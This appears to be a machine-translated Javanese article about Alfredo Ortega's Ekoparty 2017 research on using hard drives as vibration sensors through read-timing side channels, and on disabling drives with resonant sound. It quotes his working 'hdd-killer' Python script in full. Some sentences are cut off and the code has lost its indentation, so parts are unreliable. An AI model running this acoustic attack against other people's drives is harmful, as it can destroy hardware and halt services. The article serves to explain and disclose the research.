Ing konferensi keamanan komputer Ekoparty 2017 ing Buenos Aires, peretas Argentina Alfredo Ortega nuduhake perkembangan sing menarik banget - sistem kanggo penyadapan rahasia ing papan tanpa nggunakake mikropon. Swara
HDD utamane njupuk swara frekuensi rendah kanthi intensitas dhuwur, langkah kaki lan getaran liyane. Wicara manungsa durung bisa dingerteni, sanajan para ilmuwan
Swara yaiku getaran hawa utawa medium liyane. Wong bisa ngerteni liwat gendang telinga, sing ngirimake getaran menyang kuping njero. Mikropon dirancang kira-kira kaya kuping - ing kene uga getaran direkam dening membran tipis, sing ndadekake impuls listrik. Hard drive, mesthi, uga kena getaran mikroskopis amarga fluktuasi ing udara sekitar. Iki dikenal malah saka ciri technical saka HDDs: manufaktur biasane nuduhake tingkat geter maksimum diijini, lan hard drive dhewe asring nyoba kanggo nyelehake ing wadhah getaran-bukti digawe saka karet utawa bahan insulating liyane. Saka iki gampang disimpulake manawa swara bisa direkam nggunakake HDD. Kabeh sing isih ana yaiku kepiye carane.
Alfredo Ortega ngusulake versi unik saka serangan saluran sisih, yaiku serangan wektu. Serangan iki adhedhasar asumsi yen operasi beda ditindakake ing piranti ing wektu sing beda-beda, gumantung saka data input sing diwenehake. Ing kasus iki, "data input" yaiku getaran kepala maca lan piring HDD, sing ana hubungane karo getaran lingkungan, yaiku, kanthi swara. Mangkono, kanthi ngukur wektu komputasi lan nindakake analisis statistik data, getaran sirah / piring lan mula getaran medium bisa diukur. Saya suwe wektu tundha maca data, geter HDD saya kuwat lan, mula, swara luwih banter.
Kepiye cara ngukur geter hard drive? Gampang banget: mung mbukak telpon sistem read ()
- lan rekam wektu sing dibutuhake kanggo ngrampungake. Sistem operasi modern ngidini sampeyan maca wektu telpon sistem kanthi akurasi nanodetik.
Kacepetan maca informasi saka sektor gumantung saka posisi sirah lan piring, sing ana hubungane karo getaran kasus HDD. Mekaten.
Analisis statistik ditindakake kanthi nggunakake utilitas Kscope sing prasaja. Nalika padha ngomong, kabeh akale iku prasaja.
Utilitas Kscope (stat() syscall)
Kscope minangka sarana cilik kanggo nggambarake prabΓ©dan cilik ing wektu eksekusi telpon sistem. Sumber
Ing repositori kapisah read ()
.
Demonstrasi rekaman swara nggunakake HDD, operasi sarana Kscope
Mesthi, wicara ora bisa dimangerteni kanthi cara iki, nanging HDD cukup cocok minangka sensor geter. Contone, sampeyan bisa ndhaptar yen ana wong sing nganggo sepatu keras utawa tanpa alas kaki mlebu kamar kanthi komputer (mbokmenawa, yen panyerang nganggo sepatu olahraga sing alus utawa ana karpet sing kandel ing lantai, HDD ora bakal bisa ndhaptar getaran - iki patut dipriksa). Komputer bisa ndhaptar kaca pecah utawa kedadeyan liyane kanthi intensitas swara sing kuwat. Yaiku, hard drive bisa dadi jinis sistem deteksi gangguan sing ora sah.
HDD pembunuh
Miturut cara, technique padha bisa digunakake kanggo mateni hard drive. Mung kene kita ora mbusak oscillations saka HDD, nanging ing nalisir, kita generate oscillations sing panganan kanggo HDD. Yen sampeyan muter swara saka speaker ing frekuensi sing resonates karo frekuensi HDD, sistem rauh mateni piranti karo I / O kesalahan (kernel Linux rampung mateni HDD sawise 120 detik). Hard drive dhewe bisa nandhang karusakan sing ora bisa dibatalake.
Kernel Linux mateni hard drive sawise 120 detik ngirim swara kanthi frekuensi resonansi liwat speaker speaker Edifier r19u USB. Speaker diuripake ing babagan seprapat saka daya (kurang saka 100 mW) lan dumunung 20 cm saka HDD, ngarahke ing meja kanggo nambah getaran. Bingkai saka
Pancen aneh yen "serangan" kasebut ing HDD kadhangkala kedadeyan kanthi ora sengaja ing saben dinten. Contone, ing September 2016, pusat data ING Bank dipeksa kanggo nundha operasi kanggo 10 jam sawise latihan geni.
Demonstrasi manungsa njerit ing hard drive ing pusat data. Pangukuran latensi
Kanggo ngasilake swara resonating, Alfredo Ortega wrote script Python disebut
"""PyAudio hdd-killer: Generate sound and interfere with HDD """
"""Alfredo Ortega @ortegaalfredo"""
"""Usage: hdd-killer /dev/sdX"""
"""Where /dev/sdX is a spinning hard-disk drive"""
"""Turn the volume to the max for better results"""
"""Requires: pyaudio. Install with 'sudo pip install pyaudio' or 'sudo apt-get install python-pyaudio'"""
import pyaudio
import time
import sys
import math
import random
RATE=48000
FREQ=50
# validation. If a disk hasn't been specified, exit.
if len(sys.argv) < 2:
print "hdd-killer: Attempt to interfere with a hard disk, using sound.nn" +
"The disk will be opened as read-only.n" +
"Warning: It might cause damage to HDD.n" +
"Usage: %s /dev/sdX" % sys.argv[0]
sys.exit(-1)
# instantiate PyAudio (1)
p = pyaudio.PyAudio()
x1=0
NEWFREQ=FREQ
# define audio synt callback (2)
def callback(in_data, frame_count, time_info, status):
global x1,FREQ,NEWFREQ
data=''
sample=0
for x in xrange(frame_count):
oldsample=sample
sample=chr(int(math.sin(x1*((2*math.pi)/(RATE/FREQ)))*127)+128)
data = data+sample
# continous frequency change
if (NEWFREQ!=FREQ) and (sample==chr(128)) and (oldsample<sample) :
FREQ=NEWFREQ
x1=0
x1+=1
return (data, pyaudio.paContinue)
# open stream using callback (3)
stream = p.open(format=pyaudio.paUInt8,
channels=1,
rate=RATE,
output=True,
stream_callback=callback)
# start the stream (4)
stream.start_stream()
# wait for stream to finish (5)
while stream.is_active():
timeprom=0
c=file(sys.argv[1])
for i in xrange(20):
a=time.clock()
c.seek(random.randint(0,1000000000),1) #attempt to bypass file buffer
c.read(51200)
b=time.clock()
timeprom+=b-a
c.close()
timeprom/=20
print("Frequency: %.2f Hz File Read prom: %f us" % (FREQ,timeprom*1000000))
NEWFREQ+=0.5
# stop stream (6)
stream.stop_stream()
stream.close()
# close PyAudio (7)
p.terminate()
Source: www.habr.com